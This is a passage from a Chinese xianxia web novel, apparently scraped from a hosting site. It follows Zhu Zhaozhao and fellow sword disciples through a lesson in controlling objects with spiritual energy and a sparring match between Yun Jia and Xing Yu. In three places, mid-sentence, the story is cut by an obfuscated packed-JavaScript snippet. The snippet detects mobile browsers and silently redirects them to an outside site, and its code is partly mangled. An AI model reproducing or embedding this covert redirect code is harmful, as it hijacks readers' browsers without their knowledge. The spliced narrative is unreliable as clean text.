祝昭昭:S属性大爆发·jpg 就在这时,一道嗤声突然在队列里响起。 “本该放在课堂教的内容偏袒同峰小辈,偷偷让她先学,最后却也是这个结果。” 刑煜挺胸昂首,满脸不屑:“真不知若是五长老知道,该作何感想。” 他说完,先是斜了眼祝昭昭,得到祝昭昭看傻子一样的反应后,恼羞成怒地瞪向慕行秋。 慕行秋则回以他微笑。 继而开口:“既然如此,那便算了。” 起身,他背着手:“实战课前三名出列。” 冷哼一声,刑煜大步踏出队列。 毫不客气翻他一个白眼,云珈拉着齐青青也走出来。 待三人站定,慕行秋抬手一弹,一道银光直朝三人而去。 来到云珈和齐青青面前的银光速度不快,两人得以直接抓住他送来的东西。 刑煜却没那么幸运。 银光闪电般刺向他面门,速度之快,几乎是瞬息就来到他面前。 赶在最后一刻将之抓住,看着被银签割出血痕的掌心,额角吓出汗来的他后怕又恨恨地盯着慕行秋。 慕行秋笑得和善:“你离得远,我不好控制方向。见谅。” 元婴后期做不到控制好方向? 多随意多敷衍的理由? 刑煜气得发抖,却也只能打碎牙和血吞。 小小插曲就此结束,慕行秋看着手拿银签的三人:“你们手中的银签内,记载着一部剑谱。” 听到这的祝昭昭一怔。 剑谱载体是银签? 可她昨天明明…… 估计是看在同峰好好找回的份上才给的原书册吧,毕竟要回来也容易。 思忖着,祝昭昭不再纠结,重新将注意力放回云珈等人身上。 被点到名的云珈三人,乃至剩下的其他人,则都静待慕行秋说下去。 慕行秋倒是也并不打算故意卖关子:“我要你们在两盏茶的时间,学会剑谱的第一节。” “怎么可能!” 反应最大的是刑煜:“修炼非一日可成,练习剑招不外如是。两盏茶的时间学完一节剑招,怎么可能!” “怎么可能?” 若有所思地重复了一遍刑煜的话,慕行秋看向云珈和齐青青:“你们也这么觉得?” “当然不是!” 云珈不假思索地反驳:“修行者,本就是在与天争。若是自己都不相信自己,又如何能在修炼上不断突破?” 一旁的齐青青虽没说话,却也坚定地点头。 与齐青青相视一笑,云珈豪气万丈:“两盏茶从什么时候开始计时?” 闻言颔首,慕行秋抬手朝矮桌一挥袖。 一座小巧铜制沙漏出现在桌上。 “两个来回便是两盏茶。” 他坐回矮桌旁端起茶杯:“不论参透程度几何,两盏茶内,只要学会第一节便是完成任务。” “相对的。” 慕行秋放下茶杯:“若是学不完,立刻取消实战课排名,由后面的人顺位排上。” 说这话的时候,他平静的目光只落在刑煜身上。 刑煜被这视线看得两眼几乎喷火,捏紧的拳头都在不住颤抖。 其他人看没看懂慕行秋的意思祝昭昭不知道,但她反正是看得很懂。 真够损的,杀人诛心。 祝昭昭:继续,我要看到血流成河·jpg 划出一个让云珈等人可以专心练习的地方,慕行秋解开沙漏禁制开始计时。 没戏看的祝昭昭与其他人也准备作鸟兽散。 然后被慕行秋拦住。 “课时还未结束,为何离开?” 散开的人群于是重新聚集。 有人在人群里发问:“那掌教,我们要做什么。” “问得好。” 慕行秋说着,再次抬手挥袖。 紧接着,‘轰’一声响起,一块巨石落在院子中央。 感受到巨石砸在地下带来的震颤,祝昭昭看着眼前半人高的石头,恍惚有种自己到底在哪的混乱感。 什么情况,守魔界的挖矿任务发展到剑宗课堂来了? 而且你一个修士随身带那么大块石头干嘛,这是你在守魔界挖矿留下的纪念品是吗? 祝昭昭:不理解所以不太想尊重。 看不懂这操作的显然不止祝昭昭一个。人群嘈杂起来,有人直言不讳:“掌教,为什么要拿石头出来,这石头是做什么用的?” 慕行秋缓步走到巨石旁;“它是你们今天的教材。” “教材??” 所有人异口同声。 “对。” 轻拍两下巨石,慕行秋不紧不慢:“你们今天要学习的,是如何用灵力将它托起。” 人群炸开了锅—— “用灵力托石头?为什么?” “为什么先不说,但最大的问题难道不是怎么托吗?” “怎么托?掌教会说的。你还是想想怎么托吧。” …… 相比边上正在七嘴八舌猜答案的其他人,祝昭昭倒是很诡异地猜出来了慕行秋为什么让他们用灵力托巨石。 只是…… 目光落在巨石上,祝昭昭一言难尽。 果然还是很太奇怪啊。 “好了。” 示意还在讨论的众人安静,慕行秋道:“接下来,我会示范一遍具体怎么做。然后,限时是一盏茶。” 有嘘声在人群里响起。 手上多了一个沙漏,他言笑晏晏:“谁完成得好,书面考试加十分。” 人群沸腾了。 祝昭昭都被身后突然嚷嚷起来的众人吓了一跳。 慕行秋则在欢呼声里,开始他的示范。 手轻轻贴在石头上,一阵灵力自他掌心涌出,轻缓却完整地将巨石包裹住。 所有人都以为接下来他就要试着将之抬起。 可紧接着,他却把手收回。 只剩下灵力作为纽带,联系着他的手掌与巨石。 竟然能做到这种程度! 人群里传来惊叹。 但更让人惊讶的还在后面。 随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280514|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着巨石渐渐被托起,慕行秋灵力释放的位置,开始从手掌转移到手指。原本很正常的托起姿势,转眼变得完全与正常两个字无关。 所有人眼睁睁看着巨石从能看出是被慕行秋托起,到最后他背着手,巨石则凭空悬浮在他身旁,乍一看根本发现不了他和巨石之间的关联。 震惊之余,疑问也无法控制地浮现在脑中—— 这究竟是怎么做到的? 视线扫过众人或震惊或敬佩的神情,慕行秋侧头向巨石。 “作为修炼之源,对灵力的掌控决定修士的能力。” 指节轻敲巨石,慕行秋继续:“我知道有人会说对剑修而言,本命剑才是最重要的东西。但若是有朝一日,你们的本命剑受制不能出手——” “你们当如何?” 有人脸上露出迟疑神情。 祝昭昭也若有所思。 慕行秋将这些反应收进眼底:“修士对灵力的控制越纯熟,遭遇掣肘的几率便越低。对依靠武器的剑修来说更是如此。” “它会成为剑修保命的底牌。” 慕行秋声音淡淡。 “我要你们做的,便是从现在起,精进对灵力的控制。” “从控制巨石开始。” 话音落下的时候,巨石已经彻底脱离媒介,仅靠慕行秋的灵力包裹,便浮在他身旁。 “谁先来。” 慕行秋看向人群。 余光瞥见慕行秋朝向自己的视线,祝昭昭选择无视,专心望着正在修炼的云珈和齐青青。 谢邀,但我们不熟,麻烦不要老是拿我当示范。 慕行秋于是点了实战课的第四名出来。 第四名的名字叫应拾。慕行秋以他为示范,大概说了一遍练习要点后,示意他开始操作。 作为内门弟子,现在能在这里上课的师弟妹们本也是经过筛选,天赋与领悟力都足够优秀的人。 所以有了慕行秋的指点,应拾摸索片刻后,很快找到了诀窍。 看着一点点跟随自己手掌从地上起来的巨石,他难掩兴奋:“成功了,我成功了!” 下一秒,灵力控制因应拾的情绪变化而波动,巨石‘轰’声砸回地面。 慕行秋眼皮都没抬,显然早就知道会是这种结果:“掌握得尚可,继续勤加练习。” 应拾高兴答应下来:“那掌教,我的分数……” “之后会给你加上。”慕行秋摆摆手。 应拾欢呼着跑回人群中。 挥袖将巨石送至和角落景观处的假山一起,慕行秋周身悬浮起十数颗金色小球:“接下来,我会将这些小球分给你们每个人。” “一盏茶之后,我会来查看你们练习的如何。” 他说完,所有小球各自飞向每一个人。 一颗小球停在祝昭昭面前。 虽然对慕行秋的教学并不感兴趣,但总归是在上课,是以祝昭昭还是接住小球。 下一秒,她面色大变。 因为手上的小球之重,若非上面有一层保护禁制,小球可以在她毫无防备的情况下,直接把她的手砸进地面。 它的重量与刚才的巨石相当。 身后传来惊叫声,显然其他人也着了慕行秋的道。祝昭昭气得在心底猛翻白眼,本准备直接收回托住小球的手。 慕行秋的声音却像是算准了般,在此时响起:“禁制是一次性的,一旦感应不到凭依就会消失。” “所以我建议你们不要松手。” 看着手上被金色禁制环绕的小球,祝昭昭脑瓜子嗡嗡的。 这家伙……! 对上祝昭昭气得快喷火的目光,慕行秋唇角微弯。 “那便开始吧。” 32. 实战课第四就是这么优秀 要说运用灵力控制物品这事说难不难。 但也绝对不简单。 又在心底飞了慕行秋几个白眼,祝昭昭长出口气,将全部注意力放在掌心的金色小球上。 想做到灵力控物,最重要的不在于如何用灵力将之包裹,而是如何合理分配灵力将之撑住。 尤其是对于有相当重量的物品而言,更是如此。 控制着灵力在掌心凝聚,祝昭昭万分仔细地尝试将灵力整个包裹在小球上。 而随着淡蓝色光泽渐渐覆盖住球面的金,慕行秋下在小球表面的禁制彻底消失。 这一刻,小球彻底由祝昭昭控制。 感受到瞬间增加的重量,她面色微变。 身后传来好几道重物落地声以及懊恼叫嚷声,祝昭昭暗暗把不远处没事人一样慢悠悠喝茶的慕行秋骂了个遍。 这和教五岁小孩做奥数有什么区别?? 祝昭昭:我恨。 然而气归气,祝昭昭很清楚这种事不会难倒其他人太久,一盏茶后大家面对的,最多也就是个掌握程度的问题。 于是收了心,她继续和眼前的小球较劲。 灵力包裹已经成功,那么现在最重要的,就是如何正确分配灵力以撑住这颗球。 思付着,祝昭昭闭上眼,开始仔细感知小球上的灵力。 灵力仿若水般轻缓流动在掌心,她尝试跟随那种律动。 渐渐地,祝昭昭的意识随着律动开始飘摇。 神智陷入一片水蓝色里,漫无目的飘摇在其中的她看见星点闪光。 她朝那些闪光伸出手。 也就是一瞬间,压在掌心的沉重感消失无踪。取而代之的,是一种奇妙的、仿佛气体被赋予实质般的触感。 还不错。 祝昭昭想。 让这团气变得更多、更自由点如何? 毫不犹豫地,祝昭昭按着自己所想去做。而仿佛在响应她般,掌心的气更加活跃,继而欢快地流动起来—— 身旁是还在努力和小球作斗争的同窗,掌心是微微浮起的小金球。听着同僚们因为怎么都不得要领而发出的懊恼哀嚎,应拾不免有些得意。 看这架势,该不会这次只有他能拿到掌教加的十分吧? 眼见边上的人为了让灵力托起地上金球憋红一张脸,应拾惋惜摇头。 没办法,实战课第四就是这么优秀。 应拾正准备大发慈悲过去指导一下憋红脸的仁兄,下一秒,一道快得只能看见残影的弧线从他面前闪电般飞过。 差点被刮到的应拾轻嘶一声:“什么东西?” 正说着,那道弧线拐了个弯又直直朝着应拾飞来。 狭路相逢,他终于看清弧线究竟是什么。 “天,谁的球竟然能这样飞来飞去的?!” 大惊失色的应拾躲开小金球并顺着它的飞行轨迹望过去。 然后就这么和将将睁开眼的祝昭昭对上视线。 两边都很沉默。 发直的目光先是盯着只到自己肩膀的祝昭昭,紧接着慢放一样平移到她身旁的小金球上,应拾听到自己颤抖的声音:“这颗球……是你在操纵的?” 祝昭昭感觉这问题问得有点诙谐:“有人被分了两颗球?” 应拾都快哭了:“所以它真是你的?” 祝昭昭想也不想:“是。” 应拾如遭雷击。 人比人气死人啊! 怎么会有人刚学就能做到这种程度?! 现在还不到一盏茶吧?! 求助的目光看向不远处正喝茶的慕行秋,应拾很快得到他语调平静的回答:“半盏茶。” 应拾彻底蔫巴下去。 搞不太懂应拾的心路历程,目光从他已经变成黑白简笔画的人形上移开,祝昭昭控制灵力让小金球绕着自己转动。 她看着慕行秋:“掌教,我做得如何,还有什么问题需要改正?” 这问题问得很有礼貌。 如果忽略祝昭昭眼底‘我看你还能整出什么花活’的神情的话。 闻言唇角微弯,慕行秋放下手中茶杯:“没有问题需要改正。” “你做得很好。” 听到这么个回答,祝昭昭有些意外。 难得,以慕行秋的个性,她还以为这家伙至少要自己阴阳两句,再不济也得挑两句刺才算完。 竟然就结束了? 但慕行秋闭嘴,不妨碍自己阴阳他两句。将小金球抓在手里,祝昭昭刚准备开口。 接着就听到他不紧不慢的声音—— “既然已经初步掌握灵力控物,那么再精进些如何?” 不等祝昭昭回答,慕行秋往茶杯里倒满茶水,然后举起茶杯。 “试试控制它。” 看着那瓷白的茶杯,视线从离杯沿只有一线的茶水移开,祝昭昭第一次深切体会到什么叫‘得寸进尺’。 不是,你大嘴一张就想让人干嘛就干嘛是吗? 对自己有基本的认知吗? 喝茶把脑子淹了还是? 祝昭昭:这是在干什么·jpg 尽量不让白眼翻得太明显,她想也不想地开始棒读拒绝:“谢谢掌教对我的厚望,但我自知能力不足,最近这段时日专心联系控制金球就……” “二十分。” 慕行秋伸出两根手指:“若是成功,在方才的基础上,再加二十分。” 那又怎样? 祝昭昭眼皮都不抬地准备拒绝,身后却突然传来倒抽一口凉气的声音。 是应拾。 满脸‘你捡了大便宜’的表情,应拾边朝祝昭昭挤眉弄眼边小声:“答应啊快答应,不管是匀在各科还是每个科都加那么多,三十分都超级划算了好吗。从来没有掌教加过这个分数!” 应拾满脸沉痛:“要不是掌教没问我,我都想试试!” 祝昭昭闻言挑眉。 这么大方? 但她还是不感兴趣。 不因为什么,单纯不想遂了慕行秋的意。 祝昭昭:主打的就是一个叛逆。 无视应拾殷切期盼的目光,她准备把叛逆贯彻到底:“多谢掌教信任,但我还是想先把控制金球练好。” 慕行秋闻言没什么反应,只是放下茶杯:“如此,我明白了。” 祝昭昭:…… 你明白什么了? 看着即将漏完的沙漏,慕行秋慢悠悠地:“我原以为昭昭师妹天赋卓绝,面对所学总是很快就能掌握,所以才对加练这种事深恶痛绝。” “如今一看,竟可能正是因为需要常常加练才能掌握一件事,所以反倒对别人主动要求加练反感。” 老套的激将法。 祝昭昭本来不想搭理慕行秋。 然而视线落在他那意味深长的微笑,还有那轻慢的,意料之内的表情,她却突然很不爽。 反手操纵灵力卷起茶杯,祝昭昭直视慕行秋:“掌教,是这样吗?” “是的。” 慕行秋眼底笑意更深。 “就是这样。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280515|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也就在这个瞬间,沙漏里最后一点沙漏下。 一盏茶计时结束。 * 金球砸在地面的声音陆续响起,吐槽和抱怨声也渐渐出现—— “啊啊,累死了你看到了没,我的球刚才离地一寸了。” “离地一寸也好意思说?我的都离地三寸了!” “三寸也往后稍稍,我的七寸。” “我一尺!” 说一尺的人得到了众多掌声。 紧接着有人问:“这么说,我们之中托球最高的是谁?” 所有目光齐刷刷看向应拾。 突然被目光洗礼的应拾摆摆手:“不是我,我没这本事。” 人群里传来笑声:“应拾你小子不是向来眼高于顶,除了云珈他们谁都不放在眼里的吗。怎么今天这么谦虚了?” 他倒是想不谦虚,奈何他不谦虚也不行。 应拾捋了把头发:“真不是我。” 起哄声响起:“那是谁?” 应拾拇指一抬:“这呢。” 所有人顺着他手指的方向去看,很快看见祝昭昭站得笔直的背影。 有人明显不信:“应拾,就算不想被调侃也别随便指人吧,你确定是那个师妹托的球最高?” 说话的人甚至不记得祝昭昭的名字。 应拾白了那人一眼:“你看看她现在在干什么。” 所有人于是更仔细瞧。 很快,倒抽气的声音在人群里响起。 伴随着不可置信的话音:“等等,那个师妹……是在控制灵力托起装满茶的茶杯?” 应拾点头的动作里,人群安静下来。 同样的一盏茶时间里,在他们都还为了托起一颗实心的小金球使出浑身解数的时候,眼前的师妹已经轻而易举地托起一只装满茶的茶杯。 且那只茶杯周围,没有半点水渍。 也就是说,眼前的师妹托起茶杯的时候,没有洒出一滴茶水。 那是什么概念? 因震撼而发虚的声音在人群里幽幽响起:“她叫什么名字来着?” “祝昭昭。” 跟随众人震惊的目光望去,应拾双手环胸。 “她叫祝昭昭。” * “大家都在看着你。” 视线从其他学生身上收回,慕行秋语气温和:“不出意外,你是这次练习里最出色的学生。” “感觉如何?” 如何? 不如何。 余光瞥见剑招已经初具雏形的云珈与齐青青,祝昭昭语气毫无波动:“宗内人才济济,比我优秀的人不知凡几。这句出色,我自知担不起。” 夸也不要你来夸。 祝昭昭:莫挨我·jpg “是么。” 手腕翻转间,掌心多了一只茶杯。慕行秋不紧不慢替自己倒茶:“慕某还以为昭昭师妹一直觉得我多管闲事所以不高兴,总要与我呛声。” “但若真是这样也无妨。” 轻呡一口茶,他言笑晏晏:“慕某自认有几分容人雅量,昭昭师妹大可放心。” 自认有容人雅量? 昭昭师妹可放心? 祝昭昭脑子里苦苦支撑的最后一根弦‘啪’地断了。 和弦一起碎裂的,是慕行秋面前的茶杯。 失去容器,茶水石子投湖一样炸开。一片惊呼声里,祝昭昭的笑容轻松而愉快。 “昭昭一时控制灵力不当导致茶杯碎裂。” “掌教不会怪我吧?” 33. 朋友的失败固然令人惋惜 茶水炸开的瞬间,慕行秋用灵力振开了多半,但还是有一部分溅湿了他鬓角垂落的发丝。 湿润的发丝顺着往下滑落几滴水,慕行秋神色莫测地望着祝昭昭。 人群顿时炸开了锅。 脸色称得上五彩缤纷,应拾一小步一小步地移到祝昭昭身旁小声逼逼:“昭昭,你怎么搞的,掌教脸色好可怕啊。” “你赶紧和他道个歉吧。” 道歉? 道什么歉? 慕行秋没事就阴阳她,她又该找谁要道歉? 目光一转不转地落在正示意其他人不要过来的慕行秋身上,祝昭昭心情大好:“可我刚才是无心的,现在急匆匆过去道歉,掌教会不会以为我是故意的?” 虽然她就是故意的。 应拾一听这话也觉得有道理。 所以他更为难了:“可你现在傻愣愣站着,掌教会不会更不高兴?” 我管他高不高兴。 我巴不得他再不高兴点。 祝昭昭内心:这跟我有什么关系呢·jpg 祝昭昭表面:“你说得有道理,那我现在去和掌教道个歉。” 说完,祝昭昭几步走到慕行秋面前,力争让自己脸上表情看起来真的很愧疚:“掌教,我刚才灵力突然失控,害得茶水溅到你身上了。对不起。” “您不会怪我吧?” 抬头,祝昭昭‘小心翼翼’看着慕行秋,心里其实早已经乐开花。 被茶水浸湿的头发早已用灵力蒸干,慕行秋没有立刻回答祝昭昭。 平静到有些反常的视线从她身上穿着的,平平无奇的弟子服,缓缓扫到她略显不安的眉眼—— 最后是梳理清爽的头发。 直到祝昭昭被看得隐有不悦的时候,慕行秋终于开口。 脸上重新多了惯常的笑容,他语气温和得像什么都没发生:“师妹这是什么话,慕某当然不会怪你。” 祝昭昭静静等他下文。 果然,紧接着慕行秋话锋一转:“但相对的,慕某稍后需要你答应一个请求。” “可以么?” 问得很有礼貌。 就是这个节骨眼问,问得再礼貌也只有‘答应’一个选择。 真是够狡猾的。 不过既然已经占到便宜,那该给人台阶下还是要给。 祝昭昭于是抿了抿唇。 她刚准备回答,身后突然嘈杂起来。 是被慕行秋‘发配’到一边练习剑法的云珈三人练习计时结束。 额角渗出的细汗在烈日的照射下亮晶晶的,云珈拉着齐青青朝慕行秋挥手。 她笑得开朗:“掌教,我们完成任务啦。” 跟在两人身后的刑煜不说话,一声冷哼后臭着脸在边上罚站。 刑煜此刻内心想法祝昭昭无从得知,她只觉得这两人开朗一人脸臭的场面有些诙谐。 慕行秋微一颔首:“你们练得如何。” “我感觉不错。”云珈手指比划了一下,“虽然刚开始很难摸到诀窍,但沉下心渐渐摸索领悟后,那些问题就自然而然解决了。对吧青青?” 被云珈揽了下肩膀的齐青青脸上笑容瞬间僵硬:“对。” 她轻轻掰开云珈的手:“最后半盏茶的时候我粗略练了第二节。虽然比第一节稍微难些,不过若是再给我一盏茶时间,我可以大致将其掌握。” 齐青青说完,众人顿时欢呼起来。 祝昭昭也朝云珈和齐青青的方向点了点头。 听完两人汇报战果,慕行秋的视线落在刑煜身上:“刑煜,你呢?” “你练得如何?” “自然比不上齐青青。”说这话的时候怨气冲天,刑煜脸色相当难看,“大约和云珈差不多罢,但总归练成了。” 云珈一听这话就眉毛竖老高:“你说什么?差不多,谁和你差不多?!” “你明明自己在角落琢磨了半盏茶都琢磨不出来,最后还是照着我和青青起的头才慢慢自己练的。怎么好意思说和我练得差不多!” “你!” 刑煜气得脸色通红:“有本事你就和我比一场,我让你看看我们练得到底是不是差不多!” “比就比!”云珈不甘示弱,“一会儿被我打得跪地求饶可别怪我不给你留情面!” 齐刷刷看向慕行秋,两人异口同声:“掌教!” 慕行秋摆摆手:“比试只能用方才所学剑招。你两人的练习成果,便用这次比试验收。至于齐青青——” “你刚才的练习过程我已全程目睹知晓。”他赞赏看着齐青青,“你的期末考学的书面分加二十。” 齐青青向慕行秋行礼:“谢谢掌教。” 迎着众人羡慕嫉妒的目光,齐青青走到祝昭昭身旁。 半边脸颊微鼓的祝昭昭递给她一颗油纸包着的糖块:“尝尝?” 道过谢,齐青青接过糖块撕开油纸:“昭昭,你猜他们谁会赢。” 有些意外齐青青竟然会问这么个问题,祝昭昭‘唔’了一声:“我以为你不会怀疑云珈能赢。” “毕竟实战课刑煜也没赢过云珈不是么?” “其实有赢过。”齐青青惊讶于入口糖块的味道,“昭昭,你从哪买到这糖,我好像从没有尝过这种味道。” “是吗?” 当然不会告诉齐青青这是自己从202那里薅来的水果糖,祝昭昭‘咔’一声咬碎糖块,选择转移话题:“‘其实有赢过’是什么意思?云珈和刑煜难道是互有输赢?” 齐青青没再纠结糖的问题:“没错。” “虽然云珈总看不上刑煜修炼投机取巧,但两人真交起手来,其实不相上下。” 祝昭昭直击重点:“几几分?” “四六分。”齐青青言简意赅,“云珈六,刑煜四。” 祝昭昭比了个‘了解’的手势。 两人胡侃乱侃的当口,那边云珈与刑煜已经准备就绪,其他人也在外圈围得满满当当。 人头攒动里隐约听见嚷嚷着下注的声音,祝昭昭意外又不意外。 怎么说,不愧是剑宗老传统。 祝昭昭:擦汗猫猫头·jpg 随着慕行秋一声‘开始’,两人瞬间消失在原地。 要说云珈和邢煜不愧是实战课永恒前三。哪怕招数被慕行秋限制,两人还是打得有来有回。 邢煜出招胜在‘重’。大开大合,威力十足,其他人与他交手也都是败在不如他剑法‘重’。 然而邢煜这百试百灵的招数在云珈这却行不通。 因为云珈比他更‘重’。 素云直劈在邢煜的剑上,瞬间爆开的刺耳嗡鸣里,云珈眼中兴奋之色闪烁:“邢煜,你不是最喜欢出重剑吗?怎么现在却在躲我?” 持剑抵挡的手已经在控制不住地颤抖,邢煜咬牙不说话,死死瞪着云珈。 “瞪我?”云珈很不高兴,“邢煜,你确实是皮痒了。” “今天我就打到你以后不敢看我!” 下一秒,云珈手腕翻转,素云化劈为斩,直朝邢煜腰间而去。 两人瞬间缠斗在一起。 目光牢牢追随着已经化作两道白影的云珈和邢煜,祝昭昭用肩膀碰了碰齐青青:“青青,你看出什么门道来了吗?” “比如你觉得他们俩现在谁占上风。” “谁占上风?” 齐青青‘唔’了一声:“云珈吧。和邢煜不一样,她出剑不仅重,而且诡。” 眼见着云珈闪身出现在邢煜视线死角,祝昭昭对齐青青的话表示赞同;“不止是出剑诡,她身法也相当诡。” “对。”齐青青点头,“若只是出剑重,云珈对上邢煜并不算有优势,可一旦加上她那行迹难辨的身法,两人之间的形势便大大逆转。” “我与云珈切磋时都需要时刻警惕,否则一不小心便会着了她道。” “如此。” 祝昭昭点头,若有所思:“青州云家?” “是。” 齐青青微微侧头:“是白师姐告诉你的吗?” 祝昭昭从不反驳别人替自己找好的理由:“嗯。” 正说着,比试中心传来‘轰’声巨响,被吓得一激灵的两人不约而同看向声音来源。 素云把地面劈出一道深深沟壑,云珈不悦皱眉:“邢煜,你老躲来躲去干什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280516|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我们在比试!” “你也知道是在比试!” 离沟壑仅有一线之隔的邢煜气得半死:“我不躲难道等着被你一剑劈死?!” 耸耸肩,云珈闪身消失在原地。 祝昭昭惊呆了。 看了看地上的沟壑,又看了看身旁面目平静的齐青青,祝昭昭斟酌着开口:“素云好像是柄细剑。” 齐青青:“嗯。” “但云珈是不是在把它当重剑在用。” 不太确信般,祝昭昭又看了眼沟壑:“一次两次就算了,次数一多,素云真的不会断吗?” 闻言露出看破世事的表情,齐青青疲惫微笑:“你猜云珈为什么要强化素云?” 祝昭昭:“……” 这很难评,我祝她成功吧。 两人于是继续观战。 * 一击落空,再出手,云珈越发动作谨慎。 又一剑朝刑煜挥出却被他躲过,飞扬的尘烟里,云珈终于失去耐心。“刑煜!你要是个男人就出来跟我一决胜负!” 回应云珈的,是刑煜朝她身后斩出的一剑。 几个角度极其刁钻的弹身躲过激荡剑气,足尖甚至还未落地,云珈已经击散刑煜的剑气,又握紧手里素云横斩向刑煜。 这段连招速度之快,几乎是瞬息便已完成。 刑煜甚至来不及反应,手臂已经被素云的剑气划伤。 他的防势似乎也霎时松动。 立刻抓住这短暂一瞬,云珈直接出现在刑煜身后。 她高举素云,就要结束这次比试。 押云珈胜利的那部分人也开始欢呼。 一片欢乐的气氛里,祝昭昭却察觉出了不对。 立刻反应过来邢煜的目的,她眼瞳骤缩:“云珈小心!” 但还是晚了一步。 在素云将要落在头顶的刹那闪现在云珈左边,刑煜直接一剑劈下。 这一剑重且快,虽然没劈在云珈身上,带起的剑气却也暂时让她的左手失去行动能力。 人群因这出其不意的一招发出的惊呼声里,刑煜看着云珈,一脸扬眉吐气,“你伤我一臂,我废你一手,算扯平了。” “扯平?”目光从麻痹的左臂收回,云珈把素云扛在肩头,“你还挺会想。” 邢煜不甘示弱:“会想?说扯平只是客气,你废了一条手臂,已经不可能赢了。” “是吗。”云珈挑眉,“我怎么不觉得?” 仅剩的右手握着素云挽出利落剑花,她眼中战意在此刻燃至最高。 * “你猜最后谁会赢?”恢复冷静的祝昭昭突然问。 知道她是在问自己,齐青青看着比试中心的两人:“虽然我不想承认,但还是邢煜吧。” “毕竟正如他所说,云珈一只手臂已经暂时废了,在两人差距不大的情况下,这是最致命的劣势。” 她半开玩笑半无奈:“这下押云珈赢的人要大出血了。” “我倒是不那么觉得。” 祝昭昭托腮,唇边带着笑:“赌一把怎么样?我押云珈赢。” “那我只好押邢煜赢了。”齐青青佯作为难,“作为好友却支持她的对手,还真是有些不好意思。” 以为她说真的,祝昭昭眨眨眼:“那……” “赌注就选你刚才给我尝的那个糖吧?”齐青青眼睛亮晶晶的,“可以吗?” 明白了,糖比好友重要。 祝昭昭:笑得。 无视202的疯狂逼逼,祝昭昭答应:“当然可以。” 两人对话结束的当口,比试中的云珈和邢煜动了。 更准确地说,是云珈动了。 她握紧素云的瞬间,极强的灵力自剑身爆发而出。 云珈连出十二剑。 裂帛之声响起,邢煜身上衣衫应声爆开十二道口子。 彼时的他甚至没来得及举起手中重剑。 人群死一般寂静。 没人看清云珈究竟是如何做到的,盯着自己裂得褴褛的弟子服,邢煜呆在原地。 慕行秋也在此时开口。 “此次比试,云珈胜。” 34. 根本没人能两盏茶学会一节剑! 落针可闻的空气里,祝昭昭施施然抬手。 她竖起三根手指。 “三。” 邢煜整个人开始发抖。 “二。” 他眼瞳骤缩,不可置信地咬牙盯着云珈。 “一。” 祝昭昭竖着的手指只剩最后一根时,邢煜的怒吼在空气里炸响—— “我不服!” “我不服。” 激愤的声音来自邢煜,他目呲欲裂,怒极的目光看上去恨不得当场吃了云珈。 平静的声音则来自祝昭昭。 她平铺直叙的语调配上完全没有变化的淡定表情,看得齐青青一脸欲言又止。 视线在怒发冲冠的邢煜和面如平湖的祝昭昭之间来回切换,齐青青终于忍不住好奇心:“昭昭?你怎么知道邢煜要说什么?” “他上次输给我也是这么嚷嚷。” 祝昭昭半垂眼皮:“叫来喊去都是这套,笨得很好猜。” 没有接话,齐青青盯着祝昭昭半晌,最后‘扑哧’一声笑出来:“昭昭,我才发现其实你也不是平常看起来那么乖的。” 闻言朝齐青青眨眨眼,祝昭昭瞬间换上一副小心无辜的可怜模样。 话里却带着轻快狡黠:“那这样像不像平常那么乖?” 齐青青笑得倒在祝昭昭肩膀:“不像,比平常更可爱了。” 肩头传来淡淡香气,祝昭昭唇角微弯。 却就在这时,她蓦地察觉到什么。 隐含探究的视线来自比试中心,祝昭昭抬眼去看。 一无所获。 齐青青也在这当口坐直:“怎么了昭昭?” “没什么。” 祝昭昭收回视线:“应该是我看错了。” 两人重新把注意力放在云珈和邢煜处—— 这会儿已经彻底反应过来,邢煜气得暴跳如雷:“云珈刚才使用的根本不是规定的剑招,掌教你怎么能判定比试是她赢?!” “这不公平!” 人群因邢煜的话窃窃私语起来。 他们还未开始学这套剑谱,对邢煜的话无从判定。但邢煜敢当着掌教的面这么说,想来也应该是真话。 可相对的,云珈就敢当着掌教的面违反规则吗? 而且掌教刚才可是直接判了云珈胜利的。 众人面面相觑,齐青青也皱起眉头。 只有祝昭昭依旧平静。 凝滞的空气里,慕行秋终于开口。 “你觉得我在包庇云珈?” 并不和慕行秋对上视线,邢煜梗着脖子:“邢煜并无此意,只是希望掌教为我解惑。” “如此。” 垂眸,慕行秋笑:“那我便好好与你解惑。” 他走到云珈身后:“你判断云珈方才使用的招数不是我规定内的剑法,是因为她的招数并不在剑谱第一节中。” 邢煜哼了一声,权当回答。 慕行秋见状也不恼,只是继续道:“可我若说云珈最后那一连十二剑,完全是出自那第一节剑法呢?” 